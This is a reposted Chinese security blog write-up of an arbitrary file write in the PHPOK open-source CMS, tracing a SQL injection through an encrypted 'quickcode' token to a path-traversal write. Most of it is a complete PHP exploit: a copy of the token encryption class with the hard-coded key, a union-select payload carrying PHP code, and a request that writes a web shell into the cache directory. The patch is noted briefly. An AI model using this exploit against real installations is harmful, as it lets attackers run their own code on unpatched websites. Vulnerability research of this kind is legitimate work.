某开源系统文件写入漏洞分析

admin 2023年6月24日00:29:35评论13 views字数 4944阅读16分28秒阅读模式

0x01 路由分析 网站有三个入口(前端,接口,后台)都是从framework/_init_phpok.php这里执行,进行初始化处理 我们以action_admin为例,func分别通过get请求中的c和f获取,默认值为i...

0x01 路由分析

网站有三个入口(前端,接口,后台)都是从framework/_init_phpok.php这里执行,进行初始化处理

某开源系统文件写入漏洞分析

我们以action_admin为例,$ctrl$func分别通过get请求中的cf获取,默认值为index

某开源系统文件写入漏洞分析

然后在_action_phpok4中调用相关的控制器和方法,例如访问http://127.0.0.1/admin.php?c=appsys&f=create就会调用frameworkadminappsys_control.php中的create_f方法

某开源系统文件写入漏洞分析

0x02 漏洞分析

漏洞存在文件:framework/admin/login_control.php中的update_f,这个方法的最后调用了vim函数,

某开源系统文件写入漏洞分析

查看vim可以看到他传入的两个分别是写入的内容和文件名,从而实现任意文件写入

某开源系统文件写入漏洞分析

这里的第二个参数$this->dir_cache.$fid.'-'.$fcode.'.php'中,$fid$fcode都是可控参数,可以直接通过get获取到

某开源系统文件写入漏洞分析

接下来看第一个参数$dataframework/libs/json.php中的encode方法是将数据转换成json数据,这里不用太多关注,向上追踪查看$data是否可控

某开源系统文件写入漏洞分析

可以看到这里的$data是通过$rs['id']$rs['account']和时间戳组成,继续追踪$rs

某开源系统文件写入漏洞分析

这里的$rs有两种赋值方式:

当没有传入quickcode参数时,需要传入userpass,然后将user带入数据库查询相关信息并验证账号密码是否正确,但是,由于这里传入的时明文,尖括号,引号等特殊字符会被进行编码过滤,所以这里进行sql注入或者写入shell。

某开源系统文件写入漏洞分析

所以我们来看第二种情况,当传入quickcode参数时,首先会对其进行解码得到$msg,然后将$msg['id']带入数据库查询相关信息得到$rs,而且这里只是验证了查询出的用户名是否和传入的用户名一致。最重要的一点是,由于传入的字符时加密过后的,所以解密后的内容不会被过滤编码,可以顺利构造payload进行sql注入。

某开源系统文件写入漏洞分析

所以这里我们需要解决的就是使得$rs['id']$rs['account']可控

由于get_one()方法是通过id拼接sql语句进行查询的

某开源系统文件写入漏洞分析

所以我们可以通过

$msg['id']等于-2'union select '<?php echo "test_vuln";?>',2,3,4,5,6,7,8,9,10,11#

某开源系统文件写入漏洞分析

$msg['user']等于2与上面sql注入的第二列一致以使得下面if判断$rs['account'] != $msg['user']不成立

$msg['domain']等于目标域名使得$msg['domain'] != $domain不成立

$msg['time']等于当前时间使得数据不超过30天

接下来这里主要来看看其时如何进行加密解密的,以便后续我编写加密脚本。

根据$msg = $this->lib('token')->decode($quickcode);我们查看framework/libs/token.php这个文件的decode方法

某开源系统文件写入漏洞分析

同时可以发现有加密和解密的函数,是一个对称加密,所以我们需要寻找加密的密钥

某开源系统文件写入漏洞分析

查看解密密钥解密密钥是$this->dir_cache.$fid.'.php'的md5值

某开源系统文件写入漏洞分析

某开源系统文件写入漏洞分析

api.php的md5值,为fb0b413b67dad231a42a6cd8facd5202

某开源系统文件写入漏洞分析

所以我们删除加密函数的部分剩下直接照搬复制粘贴写exp(注意直接替换keyid为fb0b413b67dad231a42a6cd8facd5202)

<?php

class token_lib
{
private $keyid = '';
private $keyc_length = 6;
private $keya;
private $keyb;
private $time;
private $expiry = 3600;
private $encode_type = 'api_code'; //仅支持 api_code 和 public_key
private $public_key = '';
private $private_key = '';

public function __construct()
{
$this->time = time();
}

public function etype($type="")
{
if($type && in_array($type,array('api_code','public_key'))){
$this->encode_type = $type;
}
return $this->encode_type;
}

public function public_key($key='')
{
if($key){
$this->public_key = $key;
}
return $this->public_key;
}

public function private_key($key='')
{
if($key){
$this->private_key = $key;
}
return $this->private_key;
}

/**
* 自定义密钥
* @参数 $keyid 密钥内容
**/
public function keyid($keyid='a')
{
if(!$keyid){
return $this->keyid;
}
$this->keyid = "fb0b413b67dad231a42a6cd8facd5202";
$this->config();
return $this->keyid;
}

private function config()
{
if(!$this->keyid){
return false;
}
$this->keya = md5(substr($this->keyid, 0, 16));
$this->keyb = md5(substr($this->keyid, 16, 16));
}

/**
* 设置超时
* @参数 $time 超时时间,单位是秒
**/
public function expiry($time=0)
{
if($time && $time > 0){
$this->expiry = $time;
}
return $this->expiry;
}

/**
* 加密数据
* @参数 $string 要加密的数据,数组或字符
**/
public function encode($string)
{
if($this->encode_type == 'public_key'){
return $this->encode_rsa($string);
}
if(!$this->keyid){
return false;
}
$string = json_encode($string,JSON_UNESCAPED_UNICODE);
$expiry_time = $this->expiry ? $this->expiry : 365*24*3600;
$string = sprintf('%010d',($expiry_time + $this->time)).substr(md5($string.$this->keyb), 0, 16).$string;
$keyc = substr(md5(microtime().rand(1000,9999)), -$this->keyc_length);
$cryptkey = $this->keya.md5($this->keya.$keyc);
$rs = $this->core($string,$cryptkey);
return $keyc.str_replace('=', '', base64_encode($rs));
}

/**
* 基于公钥加密
**/
private function encode_rsa($string)
{
if(!$this->public_key){
return false;
}
$string = json_encode($string,JSON_UNESCAPED_UNICODE);
openssl_public_encrypt($string,$data,$this->public_key);
return base64_encode($data);
}

private function core($string,$cryptkey)
{
$key_length = strlen($cryptkey);
$string_length = strlen($string);
$result = '';
$box = range(0, 255);
$rndkey = array();
// 产生密匙簿
for($i = 0; $i <= 255; $i++){
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
}
// 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
for($j = $i = 0; $i < 256; $i++){
$j = ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
$box[$i] = $box[$j];
$box[$j] = $tmp;
}
// 核心加解密部分
for($a = $j = $i = 0; $i < $string_length; $i++){
$a = ($a + 1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
$box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
}
return $result;
}
}
function exploit($url, $filename, $code){
$data = array(
'id' => "-2'union select '$code',2,3,4,5,6,7,8,9,10,11#",
'user' => 2,
'time' => time(),
'domain' => '127.0.0.1'
);
$token = new token_lib();
$token->keyid("aa");
$quickcode = $token->encode($data);
echo $quickcode;
echo "<br/><br/>";
$html = file_get_contents($url . "admin.php?c=login&f=update&fid=../api&fcode=/../_cache/$filename&quickcode=" . $quickcode);
if (stripos($html, "success") !== False) {
print "Success,webshell: " . "$url" . "_cache/$filename.phpn";
} else {
print "Error";
}

}
exploit("http://127.0.0.1/", "vul", '<?php echo "test_vuln";?>');

运行此exp会得到$quickcode的值,并将其带入到url里执行

http://127.0.0.1/admin.php?c=login&f=updatehttp://127.0.0.1/admin.php?c=login&f=update&fid=../api&fcode=/../_cache/vul&quickcode=quickcode
某开源系统文件写入漏洞分析

成功写入到/_cache/vul.php

某开源系统文件写入漏洞分析

在最新版本中已修复该漏洞,修复方式就是将vim改成vi,在vi中会在最前面添加if(!defined("PHPOK_SET")){exit("<h1>Access Denied</h1>");}即使后面有php代码也不会执行。

某开源系统文件写入漏洞分析

文章来源于:https://forum.butian.net/share/2305

若有侵权请联系删除


加下方wx,拉你一起进群学习

原文始发于微信公众号(红队蓝军):某开源系统文件写入漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月24日00:29:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某开源系统文件写入漏洞分析https://cn-sec.com/archives/1828884.html

发表评论

匿名网友 填写信息